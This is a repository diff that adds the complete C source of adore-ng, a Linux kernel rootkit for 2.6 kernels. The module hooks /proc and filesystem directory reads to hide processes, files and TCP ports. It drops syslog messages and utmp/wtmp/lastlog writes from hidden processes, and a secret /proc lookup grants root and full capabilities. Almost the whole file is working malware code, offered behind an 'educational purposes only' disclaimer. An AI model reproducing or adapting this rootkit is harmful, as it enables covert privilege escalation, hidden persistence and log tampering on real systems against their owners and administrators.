diff options
Diffstat (limited to 'other/adore-ng/adore-ng-2.6.c')
| -rw-r--r-- | other/adore-ng/adore-ng-2.6.c | 604 |
1 files changed, 604 insertions, 0 deletions
diff --git a/other/adore-ng/adore-ng-2.6.c b/other/adore-ng/adore-ng-2.6.c new file mode 100644 index 0000000..c0a30f7 --- /dev/null +++ b/other/adore-ng/adore-ng-2.6.c | |||
| @@ -0,0 +1,604 @@ | |||
| 1 | /*** (C) 2004 by Stealth | ||
| 2 | *** | ||
| 3 | *** http://spider.scorpions.net/~stealth | ||
| 4 | *** http://stealth.7350.org/rootkits | ||
| 5 | *** | ||
| 6 | *** | ||
| 7 | *** (C)'ed Under a BSDish license. Please look at LICENSE-file. | ||
| 8 | *** SO YOU USE THIS AT YOUR OWN RISK! | ||
| 9 | *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. | ||
| 10 | *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! | ||
| 11 | *** | ||
| 12 | *** -> Use ava to get all the things workin'. | ||
| 13 | *** | ||
| 14 | ***/ | ||
| 15 | #define __KERNEL__ | ||
| 16 | #define MODULE | ||
| 17 | |||
| 18 | #define LINUX26 | ||
| 19 | |||
| 20 | #ifdef MODVERSIONS | ||
| 21 | #include <linux/modversions.h> | ||
| 22 | #endif | ||
| 23 | |||
| 24 | #include <linux/config.h> | ||
| 25 | #include <linux/types.h> | ||
| 26 | #include <linux/sched.h> | ||
| 27 | #include <linux/kernel.h> | ||
| 28 | #include <linux/module.h> | ||
| 29 | #include <linux/string.h> | ||
| 30 | #include <linux/fs.h> | ||
| 31 | #include <linux/file.h> | ||
| 32 | #include <linux/mount.h> | ||
| 33 | #include <linux/proc_fs.h> | ||
| 34 | #include <linux/capability.h> | ||
| 35 | #include <linux/spinlock.h> | ||
| 36 | #include <linux/pid.h> | ||
| 37 | #include <linux/init.h> | ||
| 38 | #include <linux/seq_file.h> | ||
| 39 | |||
| 40 | #include <net/sock.h> | ||
| 41 | #include <linux/un.h> | ||
| 42 | #include <net/af_unix.h> | ||
| 43 | #include <linux/aio.h> | ||
| 44 | |||
| 45 | #include "adore-ng.h" | ||
| 46 | |||
| 47 | |||
| 48 | char *proc_fs = "/proc"; /* default proc FS to hide processes */ | ||
| 49 | MODULE_PARM(proc_fs, "s"); | ||
| 50 | char *root_fs = "/"; /* default FS to hide files */ | ||
| 51 | |||
| 52 | MODULE_PARM(root_fs, "s"); | ||
| 53 | char *opt_fs = NULL; | ||
| 54 | MODULE_PARM(opt_fs, "s"); | ||
| 55 | |||
| 56 | |||
| 57 | typedef int (*readdir_t)(struct file *, void *, filldir_t); | ||
| 58 | readdir_t orig_root_readdir=NULL,orig_opt_readdir=NULL,orig_proc_readdir=NULL; | ||
| 59 | |||
| 60 | struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *, | ||
| 61 | struct nameidata *) = NULL; | ||
| 62 | |||
| 63 | |||
| 64 | static void adore_cleanup(); | ||
| 65 | |||
| 66 | |||
| 67 | #ifndef PID_MAX | ||
| 68 | #define PID_MAX 0x8000 | ||
| 69 | #endif | ||
| 70 | |||
| 71 | static char hidden_procs[PID_MAX/8+1]; | ||
| 72 | |||
| 73 | inline void hide_proc(pid_t x) | ||
| 74 | { | ||
| 75 | if (x >= PID_MAX || x == 1) | ||
| 76 | return; | ||
| 77 | hidden_procs[x/8] |= 1<<(x%8); | ||
| 78 | } | ||
| 79 | |||
| 80 | inline void unhide_proc(pid_t x) | ||
| 81 | { | ||
| 82 | if (x >= PID_MAX) | ||
| 83 | return; | ||
| 84 | hidden_procs[x/8] &= ~(1<<(x%8)); | ||
| 85 | } | ||
| 86 | |||
| 87 | inline char is_invisible(pid_t x) | ||
| 88 | { | ||
| 89 | if (x >= PID_MAX) | ||
| 90 | return 0; | ||
| 91 | return hidden_procs[x/8]&(1<<(x%8)); | ||
| 92 | } | ||
| 93 | |||
| 94 | /* Theres some crap after the PID-filename on proc | ||
| 95 | * getdents() so the semantics of this function changed: | ||
| 96 | * Make "672" -> 672 and | ||
| 97 | * "672|@\" -> 672 too | ||
| 98 | */ | ||
| 99 | int adore_atoi(const char *str) | ||
| 100 | { | ||
| 101 | int ret = 0, mul = 1; | ||
| 102 | const char *ptr; | ||
| 103 | |||
| 104 | for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) | ||
| 105 | ; | ||
| 106 | ptr--; | ||
| 107 | while (ptr >= str) { | ||
| 108 | if (*ptr < '0' || *ptr > '9') | ||
| 109 | break; | ||
| 110 | ret += (*ptr - '0') * mul; | ||
| 111 | mul *= 10; | ||
| 112 | ptr--; | ||
| 113 | } | ||
| 114 | return ret; | ||
| 115 | } | ||
| 116 | |||
| 117 | /* Own implementation of find_task_by_pid() */ | ||
| 118 | struct task_struct *adore_find_task(pid_t pid) | ||
| 119 | { | ||
| 120 | struct task_struct *p; | ||
| 121 | |||
| 122 | read_lock(&tasklist_lock); | ||
| 123 | for_each_task(p) { | ||
| 124 | if (p->pid == pid) { | ||
| 125 | read_unlock(&tasklist_lock); | ||
| 126 | return p; | ||
| 127 | } | ||
| 128 | } | ||
| 129 | read_unlock(&tasklist_lock); | ||
| 130 | return NULL; | ||
| 131 | } | ||
| 132 | |||
| 133 | int should_be_hidden(pid_t pid) | ||
| 134 | { | ||
| 135 | struct task_struct *p = NULL; | ||
| 136 | |||
| 137 | if (is_invisible(pid)) { | ||
| 138 | return 1; | ||
| 139 | } | ||
| 140 | |||
| 141 | p = adore_find_task(pid); | ||
| 142 | if (!p) | ||
| 143 | return 0; | ||
| 144 | |||
| 145 | /* If the parent is hidden, we are hidden too XXX */ | ||
| 146 | task_lock(p); | ||
| 147 | |||
| 148 | if (is_invisible(p->parent->pid)) { | ||
| 149 | task_unlock(p); | ||
| 150 | hide_proc(pid); | ||
| 151 | return 1; | ||
| 152 | } | ||
| 153 | |||
| 154 | task_unlock(p); | ||
| 155 | return 0; | ||
| 156 | } | ||
| 157 | |||
| 158 | /* You can control adore-ng without ava too: | ||
| 159 | * | ||
| 160 | * echo > /proc/<ADORE_KEY> will make the shell authenticated, | ||
| 161 | * echo > /proc/<ADORE_KEY>-fullprivs will give UID 0, | ||
| 162 | * cat /proc/hide-<PID> from such a shell will hide PID, | ||
| 163 | * cat /proc/unhide-<PID> will unhide the process | ||
| 164 | */ | ||
| 165 | struct dentry *adore_lookup(struct inode *i, struct dentry *d, | ||
| 166 | struct nameidata *nd) | ||
| 167 | { | ||
| 168 | task_lock(current); | ||
| 169 | |||
| 170 | if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { | ||
| 171 | current->flags |= PF_AUTH; | ||
| 172 | current->suid = ADORE_VERSION; | ||
| 173 | } else if ((current->flags & PF_AUTH) && | ||
| 174 | strncmp(d->d_iname, "fullprivs", 9) == 0) { | ||
| 175 | current->uid = 0; | ||
| 176 | current->suid = 0; | ||
| 177 | current->euid = 0; | ||
| 178 | current->gid = 0; | ||
| 179 | current->egid = 0; | ||
| 180 | current->fsuid = 0; | ||
| 181 | current->fsgid = 0; | ||
| 182 | |||
| 183 | cap_set_full(current->cap_effective); | ||
| 184 | cap_set_full(current->cap_inheritable); | ||
| 185 | cap_set_full(current->cap_permitted); | ||
| 186 | } else if ((current->flags & PF_AUTH) && | ||
| 187 | strncmp(d->d_iname, "hide-", 5) == 0) { | ||
| 188 | hide_proc(adore_atoi(d->d_iname+5)); | ||
| 189 | } else if ((current->flags & PF_AUTH) && | ||
| 190 | strncmp(d->d_iname, "unhide-", 7) == 0) { | ||
| 191 | unhide_proc(adore_atoi(d->d_iname+7)); | ||
| 192 | } else if ((current->flags & PF_AUTH) && | ||
| 193 | strncmp(d->d_iname, "uninstall", 9) == 0) { | ||
| 194 | cleanup_module(); | ||
| 195 | } | ||
| 196 | |||
| 197 | task_unlock(current); | ||
| 198 | |||
| 199 | if (should_be_hidden(adore_atoi(d->d_iname)) && | ||
| 200 | /* A hidden ps must be able to see itself! */ | ||
| 201 | !should_be_hidden(current->pid)) | ||
| 202 | return NULL; | ||
| 203 | |||
| 204 | return orig_proc_lookup(i, d, nd); | ||
| 205 | } | ||
| 206 | |||
| 207 | |||
| 208 | filldir_t proc_filldir = NULL; | ||
| 209 | spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED; | ||
| 210 | |||
| 211 | int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) | ||
| 212 | { | ||
| 213 | if (should_be_hidden(adore_atoi(name))) | ||
| 214 | return 0; | ||
| 215 | return proc_filldir(buf, name, nlen, off, ino, x); | ||
| 216 | } | ||
| 217 | |||
| 218 | |||
| 219 | |||
| 220 | int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir) | ||
| 221 | { | ||
| 222 | int r = 0; | ||
| 223 | |||
| 224 | spin_lock(&proc_filldir_lock); | ||
| 225 | proc_filldir = filldir; | ||
| 226 | r = orig_proc_readdir(fp, buf, adore_proc_filldir); | ||
| 227 | spin_unlock(&proc_filldir_lock); | ||
| 228 | return r; | ||
| 229 | } | ||
| 230 | |||
| 231 | |||
| 232 | filldir_t opt_filldir = NULL; | ||
| 233 | struct super_block *opt_sb[1024]; | ||
| 234 | |||
| 235 | int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) | ||
| 236 | { | ||
| 237 | struct inode *inode = NULL; | ||
| 238 | int r = 0; | ||
| 239 | uid_t uid; | ||
| 240 | gid_t gid; | ||
| 241 | |||
| 242 | if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL) | ||
| 243 | return 0; | ||
| 244 | uid = inode->i_uid; | ||
| 245 | gid = inode->i_gid; | ||
| 246 | iput(inode); | ||
| 247 | |||
| 248 | /* Is it hidden ? */ | ||
| 249 | if (uid == ELITE_UID && gid == ELITE_GID) { | ||
| 250 | r = 0; | ||
| 251 | } else | ||
| 252 | r = opt_filldir(buf, name, nlen, off, ino, x); | ||
| 253 | |||
| 254 | return r; | ||
| 255 | } | ||
| 256 | |||
| 257 | |||
| 258 | int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir) | ||
| 259 | { | ||
| 260 | int r = 0; | ||
| 261 | |||
| 262 | if (!fp || !fp->f_vfsmnt) | ||
| 263 | return 0; | ||
| 264 | |||
| 265 | opt_filldir = filldir; | ||
| 266 | opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; | ||
| 267 | r = orig_opt_readdir(fp, buf, adore_opt_filldir); | ||
| 268 | |||
| 269 | return r; | ||
| 270 | } | ||
| 271 | |||
| 272 | |||
| 273 | |||
| 274 | /* About the locking of these global vars: | ||
| 275 | * I used to lock these via rwlocks but on SMP systems this can cause | ||
| 276 | * a deadlock because the iget() locks an inode itself and I guess this | ||
| 277 | * could cause a locking situation of AB BA. So, I do not lock root_sb and | ||
| 278 | * root_filldir (same with opt_) anymore. root_filldir should anyway always | ||
| 279 | * be the same (filldir64 or filldir, depending on the libc). The worst thing that | ||
| 280 | * could happen is that 2 processes call filldir where the 2nd is replacing | ||
| 281 | * root_sb which affects the 1st process which AT WORST CASE shows the hidden files. | ||
| 282 | * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents() | ||
| 283 | * on 2 different partitions with the same FS. | ||
| 284 | * Now, since I made an array of super_blocks it must also be that the PIDs of | ||
| 285 | * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must | ||
| 286 | * be met) should be very very rare. | ||
| 287 | */ | ||
| 288 | filldir_t root_filldir = NULL; | ||
| 289 | struct super_block *root_sb[1024]; | ||
| 290 | |||
| 291 | |||
| 292 | |||
| 293 | int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) | ||
| 294 | { | ||
| 295 | struct inode *inode = NULL; | ||
| 296 | int r = 0; | ||
| 297 | uid_t uid; | ||
| 298 | gid_t gid; | ||
| 299 | |||
| 300 | if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL) | ||
| 301 | return 0; | ||
| 302 | uid = inode->i_uid; | ||
| 303 | gid = inode->i_gid; | ||
| 304 | iput(inode); | ||
| 305 | |||
| 306 | /* Is it hidden ? */ | ||
| 307 | if (uid == ELITE_UID && gid == ELITE_GID) { | ||
| 308 | r = 0; | ||
| 309 | } else | ||
| 310 | r = root_filldir(buf, name, nlen, off, ino, x); | ||
| 311 | |||
| 312 | return r; | ||
| 313 | } | ||
| 314 | |||
| 315 | |||
| 316 | int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir) | ||
| 317 | { | ||
| 318 | int r = 0; | ||
| 319 | |||
| 320 | if (!fp || !fp->f_vfsmnt) | ||
| 321 | return 0; | ||
| 322 | |||
| 323 | root_filldir = filldir; | ||
| 324 | root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; | ||
| 325 | r = orig_root_readdir(fp, buf, adore_root_filldir); | ||
| 326 | |||
| 327 | return r; | ||
| 328 | } | ||
| 329 | |||
| 330 | |||
| 331 | int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) | ||
| 332 | { | ||
| 333 | struct file *filep; | ||
| 334 | |||
| 335 | if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { | ||
| 336 | return -1; | ||
| 337 | } | ||
| 338 | |||
| 339 | if (orig_readdir) | ||
| 340 | *orig_readdir = filep->f_op->readdir; | ||
| 341 | |||
| 342 | filep->f_op->readdir = new_readdir; | ||
| 343 | filp_close(filep, 0); | ||
| 344 | return 0; | ||
| 345 | } | ||
| 346 | |||
| 347 | |||
| 348 | int unpatch_vfs(const char *p, readdir_t orig_readdir) | ||
| 349 | { | ||
| 350 | struct file *filep; | ||
| 351 | |||
| 352 | if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { | ||
| 353 | return -1; | ||
| 354 | } | ||
| 355 | |||
| 356 | filep->f_op->readdir = orig_readdir; | ||
| 357 | filp_close(filep, 0); | ||
| 358 | return 0; | ||
| 359 | } | ||
| 360 | |||
| 361 | |||
| 362 | char *strnstr(const char *haystack, const char *needle, size_t n) | ||
| 363 | { | ||
| 364 | char *s = strstr(haystack, needle); | ||
| 365 | if (s == NULL) | ||
| 366 | return NULL; | ||
| 367 | if (s-haystack+strlen(needle) <= n) | ||
| 368 | return s; | ||
| 369 | else | ||
| 370 | return NULL; | ||
| 371 | } | ||
| 372 | |||
| 373 | |||
| 374 | struct proc_dir_entry *proc_find_tcp() | ||
| 375 | { | ||
| 376 | struct proc_dir_entry *p = proc_net->subdir; | ||
| 377 | |||
| 378 | while (strcmp(p->name, "tcp")) | ||
| 379 | p = p->next; | ||
| 380 | return p; | ||
| 381 | } | ||
| 382 | |||
| 383 | |||
| 384 | #define NET_CHUNK 150 | ||
| 385 | |||
| 386 | struct tcp_seq_afinfo { | ||
| 387 | struct module *owner; | ||
| 388 | char *name; | ||
| 389 | unsigned short family; | ||
| 390 | int (*seq_show) (struct seq_file *, void *); | ||
| 391 | struct file_operations *seq_fops; | ||
| 392 | }; | ||
| 393 | |||
| 394 | int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL; | ||
| 395 | |||
| 396 | int adore_tcp4_seq_show(struct seq_file *seq, void *v) | ||
| 397 | { | ||
| 398 | int i = 0, r = 0; | ||
| 399 | char port[12]; | ||
| 400 | |||
| 401 | r = orig_tcp4_seq_show(seq, v); | ||
| 402 | |||
| 403 | for (i = 0; HIDDEN_SERVICES[i]; ++i) { | ||
| 404 | sprintf(port, ":%04X", HIDDEN_SERVICES[i]); | ||
| 405 | |||
| 406 | /* Ignore hidden blocks */ | ||
| 407 | if (strnstr(seq->buf + seq->count-NET_CHUNK,port,NET_CHUNK)) { | ||
| 408 | seq->count -= NET_CHUNK; | ||
| 409 | break; | ||
| 410 | } | ||
| 411 | } | ||
| 412 | |||
| 413 | return r; | ||
| 414 | } | ||
| 415 | |||
| 416 | static | ||
| 417 | int (*orig_unix_dgram_recvmsg)(struct kiocb *, struct socket *, struct msghdr *, | ||
| 418 | size_t, int) = NULL; | ||
| 419 | static struct proto_ops *unix_dgram_ops = NULL; | ||
| 420 | |||
| 421 | int adore_unix_dgram_recvmsg(struct kiocb *kio, struct socket *sock, | ||
| 422 | struct msghdr *msg, size_t size, int flags) | ||
| 423 | { | ||
| 424 | struct sock *sk = NULL; | ||
| 425 | int noblock = flags & MSG_DONTWAIT; | ||
| 426 | struct sk_buff *skb = NULL; | ||
| 427 | int err; | ||
| 428 | struct ucred *creds = NULL; | ||
| 429 | int not_done = 1; | ||
| 430 | |||
| 431 | if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock) | ||
| 432 | goto out; | ||
| 433 | |||
| 434 | sk = sock->sk; | ||
| 435 | |||
| 436 | err = -EOPNOTSUPP; | ||
| 437 | if (flags & MSG_OOB) | ||
| 438 | goto out; | ||
| 439 | |||
| 440 | do { | ||
| 441 | msg->msg_namelen = 0; | ||
| 442 | skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err); | ||
| 443 | if (!skb) | ||
| 444 | goto out; | ||
| 445 | creds = UNIXCREDS(skb); | ||
| 446 | if (!creds) | ||
| 447 | goto out; | ||
| 448 | if ((not_done = should_be_hidden(creds->pid))) | ||
| 449 | skb_dequeue(&sk->sk_receive_queue); | ||
| 450 | } while (not_done); | ||
| 451 | |||
| 452 | out: | ||
| 453 | err = orig_unix_dgram_recvmsg(kio, sock, msg, size, flags); | ||
| 454 | return err; | ||
| 455 | } | ||
| 456 | |||
| 457 | |||
| 458 | static struct file *var_files[] = { | ||
| 459 | NULL, | ||
| 460 | NULL, | ||
| 461 | NULL, | ||
| 462 | NULL | ||
| 463 | }; | ||
| 464 | |||
| 465 | static char *var_filenames[] = { | ||
| 466 | "/var/run/utmp", | ||
| 467 | "/var/log/wtmp", | ||
| 468 | "/var/log/lastlog", | ||
| 469 | NULL | ||
| 470 | }; | ||
| 471 | |||
| 472 | static | ||
| 473 | ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL; | ||
| 474 | |||
| 475 | static | ||
| 476 | ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off) | ||
| 477 | { | ||
| 478 | int i = 0; | ||
| 479 | |||
| 480 | /* If its hidden and if it has no special privileges and | ||
| 481 | * if it tries to write to the /var files, fake it | ||
| 482 | */ | ||
| 483 | if (should_be_hidden(current->pid) && | ||
| 484 | !(current->flags & PF_AUTH)) { | ||
| 485 | for (i = 0; var_filenames[i]; ++i) { | ||
| 486 | if (var_files[i] && | ||
| 487 | var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) { | ||
| 488 | *off += blen; | ||
| 489 | return blen; | ||
| 490 | } | ||
| 491 | } | ||
| 492 | } | ||
| 493 | return orig_var_write(f, buf, blen, off); | ||
| 494 | } | ||
| 495 | |||
| 496 | |||
| 497 | static int patch_syslog() | ||
| 498 | { | ||
| 499 | struct socket *sock = NULL; | ||
| 500 | |||
| 501 | /* PF_UNIX, SOCK_DGRAM */ | ||
| 502 | if (sock_create(1, 2, 0, &sock) < 0) | ||
| 503 | return -1; | ||
| 504 | |||
| 505 | if (sock && (unix_dgram_ops = sock->ops)) { | ||
| 506 | orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg; | ||
| 507 | unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg; | ||
| 508 | sock_release(sock); | ||
| 509 | } | ||
| 510 | |||
| 511 | return 0; | ||
| 512 | } | ||
| 513 | |||
| 514 | |||
| 515 | static int __init adore_init() | ||
| 516 | { | ||
| 517 | struct proc_dir_entry *pde = NULL; | ||
| 518 | struct tcp_seq_afinfo *t_afinfo = NULL; | ||
| 519 | int i = 0, j = 0; | ||
| 520 | |||
| 521 | memset(hidden_procs, 0, sizeof(hidden_procs)); | ||
| 522 | |||
| 523 | pde = proc_find_tcp(); | ||
| 524 | t_afinfo = (struct tcp_seq_afinfo*)pde->data; | ||
| 525 | if (t_afinfo) { | ||
| 526 | orig_tcp4_seq_show = t_afinfo->seq_show; | ||
| 527 | t_afinfo->seq_show = adore_tcp4_seq_show; | ||
| 528 | } | ||
| 529 | |||
| 530 | orig_proc_lookup = proc_root.proc_iops->lookup; | ||
| 531 | proc_root.proc_iops->lookup = adore_lookup; | ||
| 532 | |||
| 533 | patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); | ||
| 534 | patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); | ||
| 535 | if (opt_fs) | ||
| 536 | patch_vfs(opt_fs, &orig_opt_readdir, | ||
| 537 | adore_opt_readdir); | ||
| 538 | |||
| 539 | patch_syslog(); | ||
| 540 | |||
| 541 | j = 0; | ||
| 542 | for (i = 0; var_filenames[i]; ++i) { | ||
| 543 | var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0); | ||
| 544 | if (IS_ERR(var_files[i])) { | ||
| 545 | var_files[i] = NULL; | ||
| 546 | continue; | ||
| 547 | } | ||
| 548 | if (!j) { /* just replace one time, its all the same FS */ | ||
| 549 | orig_var_write = var_files[i]->f_op->write; | ||
| 550 | var_files[i]->f_op->write = adore_var_write; | ||
| 551 | j = 1; | ||
| 552 | } | ||
| 553 | } | ||
| 554 | |||
| 555 | return 0; | ||
| 556 | } | ||
| 557 | |||
| 558 | |||
| 559 | static void __exit adore_cleanup() | ||
| 560 | { | ||
| 561 | struct proc_dir_entry *pde = NULL; | ||
| 562 | struct tcp_seq_afinfo *t_afinfo = NULL; | ||
| 563 | int i = 0, j = 0; | ||
| 564 | static int cleaned = 0; | ||
| 565 | |||
| 566 | if (cleaned) | ||
| 567 | return; | ||
| 568 | |||
| 569 | pde = proc_find_tcp(); | ||
| 570 | t_afinfo = (struct tcp_seq_afinfo*)pde->data; | ||
| 571 | if (t_afinfo && orig_tcp4_seq_show) | ||
| 572 | t_afinfo->seq_show = orig_tcp4_seq_show; | ||
| 573 | |||
| 574 | proc_root.proc_iops->lookup = orig_proc_lookup; | ||
| 575 | |||
| 576 | unpatch_vfs(proc_fs, orig_proc_readdir); | ||
| 577 | unpatch_vfs(root_fs, orig_root_readdir); | ||
| 578 | |||
| 579 | if (orig_opt_readdir) | ||
| 580 | unpatch_vfs(opt_fs, orig_opt_readdir); | ||
| 581 | |||
| 582 | /* In case where syslogd wasnt found in init_module() */ | ||
| 583 | if (unix_dgram_ops && orig_unix_dgram_recvmsg) | ||
| 584 | unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg; | ||
| 585 | |||
| 586 | j = 0; | ||
| 587 | for (i = 0; var_filenames[i]; ++i) { | ||
| 588 | if (var_files[i]) { | ||
| 589 | if (!j) { | ||
| 590 | var_files[i]->f_op->write = orig_var_write; | ||
| 591 | j = 1; | ||
| 592 | } | ||
| 593 | filp_close(var_files[i], 0); | ||
| 594 | } | ||
| 595 | } | ||
| 596 | |||
| 597 | cleaned = 1; | ||
| 598 | } | ||
| 599 | |||
| 600 | module_init(adore_init); | ||
| 601 | module_exit(adore_cleanup); | ||
| 602 | |||
| 603 | MODULE_LICENSE("GPL"); | ||
| 604 | |||
